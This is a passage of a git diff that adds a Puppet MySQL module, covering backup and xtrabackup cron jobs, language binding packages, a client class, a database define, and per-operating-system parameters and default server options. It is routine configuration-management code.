+ ensure => $ensure,
+ user => "${backupuser}@localhost",
+ table => '*.*',
+ privileges => $privs,
+ require => Mysql_user["${backupuser}@localhost"],
+ }
+
+ cron { 'mysql-backup':
+ ensure => $ensure,
+ command => '/usr/local/sbin/mysqlbackup.sh',
+ user => 'root',
+ hour => $time[0],
+ minute => $time[1],
+ require => File['mysqlbackup.sh'],
+ }
+
+ file { 'mysqlbackup.sh':
+ ensure => $ensure,
+ path => '/usr/local/sbin/mysqlbackup.sh',
+ mode => '0700',
+ owner => 'root',
+ group => $mysql::params::root_group,
+ content => template('mysql/mysqlbackup.sh.erb'),
+ }
+
+ file { 'mysqlbackupdir':
+ ensure => 'directory',
+ path => $backupdir,
+ mode => $backupdirmode,
+ owner => $backupdirowner,
+ group => $backupdirgroup,
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp
new file mode 100644
index 000000000..e0365588a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/backup/xtrabackup.pp
@@ -0,0 +1,85 @@
+# See README.me for usage.
+class mysql::backup::xtrabackup (
+ $xtrabackup_package_name = $mysql::params::xtrabackup_package_name,
+ $backupuser = undef,
+ $backuppassword = undef,
+ $backupdir = '',
+ $maxallowedpacket = '1M',
+ $backupmethod = 'mysqldump',
+ $backupdirmode = '0700',
+ $backupdirowner = 'root',
+ $backupdirgroup = $mysql::params::root_group,
+ $backupcompress = true,
+ $backuprotate = 30,
+ $ignore_events = true,
+ $delete_before_dump = false,
+ $backupdatabases = [],
+ $file_per_database = false,
+ $include_triggers = true,
+ $include_routines = false,
+ $ensure = 'present',
+ $time = ['23', '5'],
+ $prescript = false,
+ $postscript = false,
+ $execpath = '/usr/bin:/usr/sbin:/bin:/sbin',
+ $optional_args = [],
+ $additional_cron_args = ''
+) inherits mysql::params {
+
+ package{ $xtrabackup_package_name:
+ ensure => $ensure,
+ }
+
+ if $backupuser and $backuppassword {
+ mysql_user { "${backupuser}@localhost":
+ ensure => $ensure,
+ password_hash => mysql_password($backuppassword),
+ require => Class['mysql::server::root_password'],
+ }
+
+ mysql_grant { "${backupuser}@localhost/*.*":
+ ensure => $ensure,
+ user => "${backupuser}@localhost",
+ table => '*.*',
+ privileges => [ 'RELOAD', 'PROCESS', 'LOCK TABLES', 'REPLICATION CLIENT' ],
+ require => Mysql_user["${backupuser}@localhost"],
+ }
+ }
+
+ cron { 'xtrabackup-weekly':
+ ensure => $ensure,
+ command => "/usr/local/sbin/xtrabackup.sh ${backupdir} ${additional_cron_args}",
+ user => 'root',
+ hour => $time[0],
+ minute => $time[1],
+ weekday => '0',
+ require => Package[$xtrabackup_package_name],
+ }
+
+ cron { 'xtrabackup-daily':
+ ensure => $ensure,
+ command => "/usr/local/sbin/xtrabackup.sh --incremental ${backupdir} ${additional_cron_args}",
+ user => 'root',
+ hour => $time[0],
+ minute => $time[1],
+ weekday => '1-6',
+ require => Package[$xtrabackup_package_name],
+ }
+
+ file { 'mysqlbackupdir':
+ ensure => 'directory',
+ path => $backupdir,
+ mode => $backupdirmode,
+ owner => $backupdirowner,
+ group => $backupdirgroup,
+ }
+
+ file { 'xtrabackup.sh':
+ ensure => $ensure,
+ path => '/usr/local/sbin/xtrabackup.sh',
+ mode => '0700',
+ owner => 'root',
+ group => $mysql::params::root_group,
+ content => template('mysql/xtrabackup.sh.erb'),
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp
new file mode 100644
index 000000000..3fd9c74a3
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings.pp
@@ -0,0 +1,63 @@
+# See README.md.
+class mysql::bindings (
+ $install_options = undef,
+ # Boolean to determine if we should include the classes.
+ $java_enable = false,
+ $perl_enable = false,
+ $php_enable = false,
+ $python_enable = false,
+ $ruby_enable = false,
+ $client_dev = false,
+ $daemon_dev = false,
+ # Settings for the various classes.
+ $java_package_ensure = $mysql::params::java_package_ensure,
+ $java_package_name = $mysql::params::java_package_name,
+ $java_package_provider = $mysql::params::java_package_provider,
+ $perl_package_ensure = $mysql::params::perl_package_ensure,
+ $perl_package_name = $mysql::params::perl_package_name,
+ $perl_package_provider = $mysql::params::perl_package_provider,
+ $php_package_ensure = $mysql::params::php_package_ensure,
+ $php_package_name = $mysql::params::php_package_name,
+ $php_package_provider = $mysql::params::php_package_provider,
+ $python_package_ensure = $mysql::params::python_package_ensure,
+ $python_package_name = $mysql::params::python_package_name,
+ $python_package_provider = $mysql::params::python_package_provider,
+ $ruby_package_ensure = $mysql::params::ruby_package_ensure,
+ $ruby_package_name = $mysql::params::ruby_package_name,
+ $ruby_package_provider = $mysql::params::ruby_package_provider,
+ $client_dev_package_ensure = $mysql::params::client_dev_package_ensure,
+ $client_dev_package_name = $mysql::params::client_dev_package_name,
+ $client_dev_package_provider = $mysql::params::client_dev_package_provider,
+ $daemon_dev_package_ensure = $mysql::params::daemon_dev_package_ensure,
+ $daemon_dev_package_name = $mysql::params::daemon_dev_package_name,
+ $daemon_dev_package_provider = $mysql::params::daemon_dev_package_provider
+) inherits mysql::params {
+
+ case $::osfamily {
+ 'Archlinux': {
+ if $java_enable { fail(translate('::mysql::bindings::java cannot be managed by puppet on %{osfamily}
+ as it is not in official repositories. Please disable java mysql binding.',
+ {'osfamily' => $::osfamily })) }
+ if $perl_enable { include '::mysql::bindings::perl' }
+ if $php_enable { warning(translate('::mysql::bindings::php does not need to be managed by puppet on %{osfamily}
+ as it is included in mysql package by default.',
+ {'osfamily' => $::osfamily })) }
+ if $python_enable { include '::mysql::bindings::python' }
+ if $ruby_enable { fail(translate('::mysql::bindings::ruby cannot be managed by puppet on %{osfamily}
+ as it is not in official repositories. Please disable ruby mysql binding.',
+ {'osfamily' => $::osfamily } )) }
+ }
+
+ default: {
+ if $java_enable { include '::mysql::bindings::java' }
+ if $perl_enable { include '::mysql::bindings::perl' }
+ if $php_enable { include '::mysql::bindings::php' }
+ if $python_enable { include '::mysql::bindings::python' }
+ if $ruby_enable { include '::mysql::bindings::ruby' }
+ }
+ }
+
+ if $client_dev { include '::mysql::bindings::client_dev' }
+ if $daemon_dev { include '::mysql::bindings::daemon_dev' }
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp
new file mode 100644
index 000000000..dc249e158
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/client_dev.pp
@@ -0,0 +1,15 @@
+# Private class
+class mysql::bindings::client_dev {
+
+ if $mysql::bindings::client_dev_package_name {
+ package { 'mysql-client_dev':
+ ensure => $mysql::bindings::client_dev_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::client_dev_package_name,
+ provider => $mysql::bindings::client_dev_package_provider,
+ }
+ } else {
+ warning(translate('No MySQL client development package configured for %{os}.', {'os' => $::operatingsystem }))
+ }
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp
new file mode 100644
index 000000000..44caaafc1
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/daemon_dev.pp
@@ -0,0 +1,15 @@
+# Private class
+class mysql::bindings::daemon_dev {
+
+ if $mysql::bindings::daemon_dev_package_name {
+ package { 'mysql-daemon_dev':
+ ensure => $mysql::bindings::daemon_dev_package_ensure,
+ install_options => $mysql::bindings::install_options,
+ name => $mysql::bindings::daemon_dev_package_name,
+ provider => $mysql::bindings::daemon_dev_package_provider,
+ }
+ } else {
+ warning(translate('No MySQL daemon development package configured for %{os}.', {'os' => $::operatingsystem }))
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/bindings/java.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/java.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/java.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/java.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/perl.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/perl.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/perl.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/perl.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/php.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/php.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/php.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/php.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/python.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/python.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/python.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/python.pp
diff --git a/modules/services/unix/database/mysql/manifests/bindings/ruby.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/ruby.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/bindings/ruby.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/bindings/ruby.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp
new file mode 100644
index 000000000..2af2351d3
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client.pp
@@ -0,0 +1,27 @@
+#
+class mysql::client (
+ $bindings_enable = $mysql::params::bindings_enable,
+ $install_options = undef,
+ $package_ensure = $mysql::params::client_package_ensure,
+ $package_manage = $mysql::params::client_package_manage,
+ $package_name = $mysql::params::client_package_name,
+) inherits mysql::params {
+
+ include '::mysql::client::install'
+
+ if $bindings_enable {
+ class { 'mysql::bindings':
+ java_enable => true,
+ perl_enable => true,
+ php_enable => true,
+ python_enable => true,
+ ruby_enable => true,
+ }
+ }
+
+ # Anchor pattern workaround to avoid resources of mysql::client::install to
+ # "float off" outside mysql::client
+ anchor { 'mysql::client::start': }
+ -> Class['mysql::client::install']
+ -> anchor { 'mysql::client::end': }
+}
diff --git a/modules/services/unix/database/mysql/manifests/client/install.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client/install.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/client/install.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/client/install.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp
new file mode 100644
index 000000000..6b6c39b9b
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/db.pp
@@ -0,0 +1,65 @@
+# See README.md for details.
+define mysql::db (
+ $user,
+ $password,
+ $dbname = $name,
+ $charset = 'utf8',
+ $collate = 'utf8_general_ci',
+ $host = 'localhost',
+ $grant = 'ALL',
+ Optional[Variant[Array, Hash, String]] $sql = undef,
+ $enforce_sql = false,
+ Enum['absent', 'present'] $ensure = 'present',
+ $import_timeout = 300,
+ $import_cat_cmd = 'cat',
+) {
+ #input validation
+ $table = "${dbname}.*"
+
+ $sql_inputs = join([$sql], ' ')
+
+ include '::mysql::client'
+
+ $db_resource = {
+ ensure => $ensure,
+ charset => $charset,
+ collate => $collate,
+ provider => 'mysql',
+ require => [ Class['mysql::client'] ],
+ }
+ ensure_resource('mysql_database', $dbname, $db_resource)
+
+ $user_resource = {
+ ensure => $ensure,
+ password_hash => mysql_password($password),
+ }
+ ensure_resource('mysql_user', "${user}@${host}", $user_resource)
+
+ if $ensure == 'present' {
+ mysql_grant { "${user}@${host}/${table}":
+ privileges => $grant,
+ provider => 'mysql',
+ user => "${user}@${host}",
+ table => $table,
+ require => [
+ Mysql_database[$dbname],
+ Mysql_user["${user}@${host}"],
+ ],
+ }
+
+ $refresh = ! $enforce_sql
+
+ if $sql {
+ exec{ "${dbname}-import":
+ command => "${import_cat_cmd} ${sql_inputs} | mysql ${dbname}",
+ logoutput => true,
+ environment => "HOME=${::root_home}",
+ refreshonly => $refresh,
+ path => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin',
+ require => Mysql_grant["${user}@${host}/${table}"],
+ subscribe => Mysql_database[$dbname],
+ timeout => $import_timeout,
+ }
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp
new file mode 100644
index 000000000..9de66a983
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/params.pp
@@ -0,0 +1,498 @@
+# Private class: See README.md.
+class mysql::params {
+
+ $manage_config_file = true
+ $purge_conf_dir = false
+ $restart = false
+ $root_password = 'UNSET'
+ $install_secret_file = '/.mysql_secret'
+ $server_package_ensure = 'present'
+ $server_package_manage = true
+ $server_service_manage = true
+ $server_service_enabled = true
+ $client_package_ensure = 'present'
+ $client_package_manage = true
+ $create_root_user = true
+ $create_root_my_cnf = true
+ # mysql::bindings
+ $bindings_enable = false
+ $java_package_ensure = 'present'
+ $java_package_provider = undef
+ $perl_package_ensure = 'present'
+ $perl_package_provider = undef
+ $php_package_ensure = 'present'
+ $php_package_provider = undef
+ $python_package_ensure = 'present'
+ $python_package_provider = undef
+ $ruby_package_ensure = 'present'
+ $ruby_package_provider = undef
+ $client_dev_package_ensure = 'present'
+ $client_dev_package_provider = undef
+ $daemon_dev_package_ensure = 'present'
+ $daemon_dev_package_provider = undef
+ $xtrabackup_package_name = 'percona-xtrabackup'
+
+
+ case $::osfamily {
+ 'RedHat': {
+ case $::operatingsystem {
+ 'Fedora': {
+ if versioncmp($::operatingsystemrelease, '19') >= 0 or $::operatingsystemrelease == 'Rawhide' {
+ $provider = 'mariadb'
+ } else {
+ $provider = 'mysql'
+ }
+ }
+ /^(RedHat|CentOS|Scientific|OracleLinux)$/: {
+ if versioncmp($::operatingsystemmajrelease, '7') >= 0 {
+ $provider = 'mariadb'
+ } else {
+ $provider = 'mysql'
+ }
+ }
+ default: {
+ $provider = 'mysql'
+ }
+ }
+
+ if $provider == 'mariadb' {
+ $client_package_name = 'mariadb'
+ $server_package_name = 'mariadb-server'
+ $server_service_name = 'mariadb'
+ $log_error = '/var/log/mariadb/mariadb.log'
+ $config_file = '/etc/my.cnf.d/server.cnf'
+ # mariadb package by default has !includedir set in my.cnf to /etc/my.cnf.d
+ $includedir = undef
+ $pidfile = '/var/run/mariadb/mariadb.pid'
+ $daemon_dev_package_name = 'mariadb-devel'
+ } else {
+ $client_package_name = 'mysql'
+ $server_package_name = 'mysql-server'
+ $server_service_name = 'mysqld'
+ $log_error = '/var/log/mysqld.log'
+ $config_file = '/etc/my.cnf'
+ $includedir = '/etc/my.cnf.d'
+ $pidfile = '/var/run/mysqld/mysqld.pid'
+ $daemon_dev_package_name = 'mysql-devel'
+ }
+
+ $basedir = '/usr'
+ $datadir = '/var/lib/mysql'
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $socket = '/var/lib/mysql/mysql.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'mysql-connector-java'
+ $perl_package_name = 'perl-DBD-MySQL'
+ $php_package_name = 'php-mysql'
+ $python_package_name = 'MySQL-python'
+ $ruby_package_name = 'ruby-mysql'
+ $client_dev_package_name = undef
+ }
+
+ 'Suse': {
+ case $::operatingsystem {
+ 'OpenSuSE': {
+ if versioncmp( $::operatingsystemmajrelease, '12' ) >= 0 {
+ $client_package_name = 'mariadb-client'
+ $server_package_name = 'mariadb'
+ # First service start fails if this is set. Runs fine without
+ # it being set, in any case. Leaving it as-is for the mysql.
+ $basedir = undef
+ } else {
+ $client_package_name = 'mysql-community-server-client'
+ $server_package_name = 'mysql-community-server'
+ $basedir = '/usr'
+ }
+ }
+ 'SLES','SLED': {
+ if versioncmp($::operatingsystemrelease, '12') >= 0 {
+ $client_package_name = 'mariadb-client'
+ $server_package_name = 'mariadb'
+ $basedir = undef
+ } else {
+ $client_package_name = 'mysql-client'
+ $server_package_name = 'mysql'
+ $basedir = '/usr'
+ }
+ }
+ default: {
+ fail(translate('Unsupported platform: puppetlabs-%{module_name} currently doesn\'t support %{os}.',
+ {'module_name' => $module_name, 'os' => $::operatingsystem }))
+ }
+ }
+ $config_file = '/etc/my.cnf'
+ $includedir = '/etc/my.cnf.d'
+ $datadir = '/var/lib/mysql'
+ $log_error = $::operatingsystem ? {
+ /OpenSuSE/ => '/var/log/mysql/mysqld.log',
+ /(SLES|SLED)/ => '/var/log/mysqld.log',
+ }
+ $pidfile = $::operatingsystem ? {
+ /OpenSuSE/ => '/var/run/mysql/mysqld.pid',
+ /(SLES|SLED)/ => '/var/lib/mysql/mysqld.pid',
+ }
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mysql'
+
+ if $::operatingsystem =~ /(SLES|SLED)/ {
+ if versioncmp( $::operatingsystemmajrelease, '12' ) >= 0 {
+ $socket = '/run/mysql/mysql.sock'
+ } else {
+ $socket = '/var/lib/mysql/mysql.sock'
+ }
+ } else {
+ $socket = '/var/run/mysql/mysql.sock'
+ }
+
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'mysql-connector-java'
+ $perl_package_name = 'perl-DBD-mysql'
+ $php_package_name = 'apache2-mod_php53'
+ $python_package_name = 'python-mysql'
+ $ruby_package_name = $::operatingsystem ? {
+ /OpenSuSE/ => 'rubygem-mysql',
+ /(SLES|SLED)/ => 'ruby-mysql',
+ }
+ $client_dev_package_name = 'libmysqlclient-devel'
+ $daemon_dev_package_name = 'mysql-devel'
+ }
+
+ 'Debian': {
+ if $::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') >= 0 {
+ $provider = 'mariadb'
+ } else {
+ $provider = 'mysql'
+ }
+
+ if $provider == 'mariadb' {
+ $client_package_name = 'mariadb-client'
+ $server_package_name = 'mariadb-server'
+ $server_service_name = 'mariadb'
+ $client_dev_package_name = 'libmariadbclient-dev'
+ $daemon_dev_package_name = 'libmariadbd-dev'
+ } else {
+ $client_package_name = 'mysql-client'
+ $server_package_name = 'mysql-server'
+ $server_service_name = 'mysql'
+ $client_dev_package_name = 'libmysqlclient-dev'
+ $daemon_dev_package_name = 'libmysqld-dev'
+ }
+
+ $basedir = '/usr'
+ $config_file = '/etc/mysql/my.cnf'
+ $includedir = '/etc/mysql/conf.d'
+ $datadir = '/var/lib/mysql'
+ $log_error = '/var/log/mysql/error.log'
+ $pidfile = '/var/run/mysqld/mysqld.pid'
+ $root_group = 'root'
+ $mysql_group = 'adm'
+ $socket = '/var/run/mysqld/mysqld.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'libmysql-java'
+ $perl_package_name = 'libdbd-mysql-perl'
+ if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '16.04') >= 0) or
+ ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') >= 0) {
+ $php_package_name = 'php-mysql'
+ } else {
+ $php_package_name = 'php5-mysql'
+ }
+ $python_package_name = 'python-mysqldb'
+ $ruby_package_name = $::lsbdistcodename ? {
+ 'jessie' => 'ruby-mysql',
+ 'stretch' => 'ruby-mysql2',
+ 'trusty' => 'ruby-mysql',
+ 'xenial' => 'ruby-mysql',
+ default => 'libmysql-ruby',
+ }
+ }
+
+ 'Archlinux': {
+ $client_package_name = 'mariadb-clients'
+ $server_package_name = 'mariadb'
+ $basedir = '/usr'
+ $config_file = '/etc/mysql/my.cnf'
+ $datadir = '/var/lib/mysql'
+ $log_error = '/var/log/mysqld.log'
+ $pidfile = '/var/run/mysqld/mysqld.pid'
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mysqld'
+ $socket = '/var/lib/mysql/mysql.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'mysql-connector-java'
+ $perl_package_name = 'perl-dbd-mysql'
+ $php_package_name = undef
+ $python_package_name = 'mysql-python'
+ $ruby_package_name = 'mysql-ruby'
+ }
+
+ 'Gentoo': {
+ $client_package_name = 'virtual/mysql'
+ $server_package_name = 'virtual/mysql'
+ $basedir = '/usr'
+ $config_file = '/etc/mysql/my.cnf'
+ $datadir = '/var/lib/mysql'
+ $log_error = '/var/log/mysql/mysqld.err'
+ $pidfile = '/run/mysqld/mysqld.pid'
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mysql'
+ $socket = '/run/mysqld/mysqld.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'dev-java/jdbc-mysql'
+ $perl_package_name = 'dev-perl/DBD-mysql'
+ $php_package_name = undef
+ $python_package_name = 'dev-python/mysql-python'
+ $ruby_package_name = 'dev-ruby/mysql-ruby'
+ }
+
+ 'FreeBSD': {
+ $client_package_name = 'databases/mysql56-client'
+ $server_package_name = 'databases/mysql56-server'
+ $basedir = '/usr/local'
+ $config_file = '/usr/local/etc/my.cnf'
+ $includedir = '/usr/local/etc/my.cnf.d'
+ $datadir = '/var/db/mysql'
+ $log_error = '/var/log/mysqld.log'
+ $pidfile = '/var/run/mysql.pid'
+ $root_group = 'wheel'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mysql-server'
+ $socket = '/var/db/mysql/mysql.sock'
+ $ssl_ca = undef
+ $ssl_cert = undef
+ $ssl_key = undef
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'databases/mysql-connector-java'
+ $perl_package_name = 'p5-DBD-mysql'
+ $php_package_name = 'php5-mysql'
+ $python_package_name = 'databases/py-MySQLdb'
+ $ruby_package_name = 'databases/ruby-mysql'
+ # The libraries installed by these packages are included in client and server packages, no installation required.
+ $client_dev_package_name = undef
+ $daemon_dev_package_name = undef
+ }
+
+ 'OpenBSD': {
+ $client_package_name = 'mariadb-client'
+ $server_package_name = 'mariadb-server'
+ $basedir = '/usr/local'
+ $config_file = '/etc/my.cnf'
+ $includedir = undef
+ $datadir = '/var/mysql'
+ $log_error = "/var/mysql/${::hostname}.err"
+ $pidfile = '/var/mysql/mysql.pid'
+ $root_group = 'wheel'
+ $mysql_group = '_mysql'
+ $server_service_name = 'mysqld'
+ $socket = '/var/run/mysql/mysql.sock'
+ $ssl_ca = undef
+ $ssl_cert = undef
+ $ssl_key = undef
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = undef
+ $perl_package_name = 'p5-DBD-mysql'
+ $php_package_name = 'php-mysql'
+ $python_package_name = 'py-mysql'
+ $ruby_package_name = 'ruby-mysql'
+ # The libraries installed by these packages are included in client and server packages, no installation required.
+ $client_dev_package_name = undef
+ $daemon_dev_package_name = undef
+ }
+
+ 'Solaris': {
+ $client_package_name = 'database/mysql-55/client'
+ $server_package_name = 'database/mysql-55'
+ $basedir = undef
+ $config_file = '/etc/mysql/5.5/my.cnf'
+ $datadir = '/var/mysql/5.5/data'
+ $log_error = "/var/mysql/5.5/data/${::hostname}.err"
+ $pidfile = "/var/mysql/5.5/data/${::hostname}.pid"
+ $root_group = 'bin'
+ $server_service_name = 'application/database/mysql:version_55'
+ $socket = '/tmp/mysql.sock'
+ $ssl_ca = undef
+ $ssl_cert = undef
+ $ssl_key = undef
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = undef
+ $perl_package_name = undef
+ $php_package_name = 'web/php-53/extension/php-mysql'
+ $python_package_name = 'library/python/python-mysql'
+ $ruby_package_name = undef
+ # The libraries installed by these packages are included in client and server packages, no installation required.
+ $client_dev_package_name = undef
+ $daemon_dev_package_name = undef
+ }
+
+ default: {
+ case $::operatingsystem {
+ 'Alpine': {
+ $client_package_name = 'mariadb-client'
+ $server_package_name = 'mariadb'
+ $basedir = '/usr'
+ $config_file = '/etc/mysql/my.cnf'
+ $datadir = '/var/lib/mysql'
+ $log_error = '/var/log/mysqld.log'
+ $pidfile = '/run/mysqld/mysqld.pid'
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mariadb'
+ $socket = '/run/mysqld/mysqld.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ $java_package_name = undef
+ $perl_package_name = 'perl-dbd-mysql'
+ $php_package_name = 'php7-mysqlnd'
+ $python_package_name = 'py-mysqldb'
+ $ruby_package_name = undef
+ $client_dev_package_name = undef
+ $daemon_dev_package_name = undef
+ }
+ 'Amazon': {
+ $client_package_name = 'mysql'
+ $server_package_name = 'mysql-server'
+ $basedir = '/usr'
+ $config_file = '/etc/my.cnf'
+ $includedir = '/etc/my.cnf.d'
+ $datadir = '/var/lib/mysql'
+ $log_error = '/var/log/mysqld.log'
+ $pidfile = '/var/run/mysqld/mysqld.pid'
+ $root_group = 'root'
+ $mysql_group = 'mysql'
+ $server_service_name = 'mysqld'
+ $socket = '/var/lib/mysql/mysql.sock'
+ $ssl_ca = '/etc/mysql/cacert.pem'
+ $ssl_cert = '/etc/mysql/server-cert.pem'
+ $ssl_key = '/etc/mysql/server-key.pem'
+ $tmpdir = '/tmp'
+ # mysql::bindings
+ $java_package_name = 'mysql-connector-java'
+ $perl_package_name = 'perl-DBD-MySQL'
+ $php_package_name = 'php-mysql'
+ $python_package_name = 'MySQL-python'
+ $ruby_package_name = 'ruby-mysql'
+ # The libraries installed by these packages are included in client and server packages, no installation required.
+ $client_dev_package_name = undef
+ $daemon_dev_package_name = undef
+ }
+
+ default: {
+ fail(translate('Unsupported platform: puppetlabs-%{module_name} currently doesn\'t support %{osfamily} or %{os}.',
+ {'module_name' => $module_name, 'os' => $::operatingsystem, 'osfamily' => $::osfamily}))
+ }
+ }
+ }
+ }
+
+ case $::operatingsystem {
+ 'Ubuntu': {
+ # lint:ignore:only_variable_string
+ if versioncmp("${::operatingsystemmajrelease}", '14.10') > 0 {
+ # lint:endignore
+ $server_service_provider = 'systemd'
+ } else {
+ $server_service_provider = 'upstart'
+ }
+ }
+ 'Alpine': {
+ $server_service_provider = 'rc-service'
+ }
+ default: {
+ $server_service_provider = undef
+ }
+ }
+
+ $default_options = {
+ 'client' => {
+ 'port' => '3306',
+ 'socket' => $mysql::params::socket,
+ },
+ 'mysqld_safe' => {
+ 'nice' => '0',
+ 'log-error' => $mysql::params::log_error,
+ 'socket' => $mysql::params::socket,
+ },
+ 'mysqld-5.0' => {
+ 'myisam-recover' => 'BACKUP',
+ },
+ 'mysqld-5.1' => {
+ 'myisam-recover' => 'BACKUP',
+ },
+ 'mysqld-5.5' => {
+ 'myisam-recover' => 'BACKUP',
+ },
+ 'mysqld-5.6' => {
+ 'myisam-recover-options' => 'BACKUP',
+ },
+ 'mysqld-5.7' => {
+ 'myisam-recover-options' => 'BACKUP',
+ },
+ 'mysqld' => {
+ 'basedir' => $mysql::params::basedir,
+ 'bind-address' => '127.0.0.1',
+ 'datadir' => $mysql::params::datadir,
+ 'expire_logs_days' => '10',
+ 'key_buffer_size' => '16M',
+ 'log-error' => $mysql::params::log_error,
+ 'max_allowed_packet' => '16M',
+ 'max_binlog_size' => '100M',
+ 'max_connections' => '151',
+ 'pid-file' => $mysql::params::pidfile,
+ 'port' => '3306',
+ 'query_cache_limit' => '1M',
+ 'query_cache_size' => '16M',
+ 'skip-external-locking' => true,
+ 'socket' => $mysql::params::socket,
+ 'ssl' => false,
+ 'ssl-ca' => $mysql::params::ssl_ca,
+ 'ssl-cert' => $mysql::params::ssl_cert,
+ 'ssl-key' => $mysql::params::ssl_key,
+ 'ssl-disable' => false,
+ 'thread_cache_size' => '8',
+ 'thread_stack' => '256K',
+ 'tmpdir' => $mysql::params::tmpdir,
+ 'user' => 'mysql',
+ },
+ 'mysqldump' => {
+ 'max_allowed_packet' => '16M',
+ 'quick' => true,
+ 'quote-names' => true,
+ },
+ 'isamchk' => {
+ 'key_buffer_size' => '16M',
+ },
+ }
+
+ ## Additional graceful failures
+ if $::osfamily == 'RedHat' and $::operatingsystemmajrelease == '4' and $::operatingsystem != 'Amazon' {
+ fail(translate('Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and beyond.', {'module_name' => $module_name}))
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp
new file mode 100644
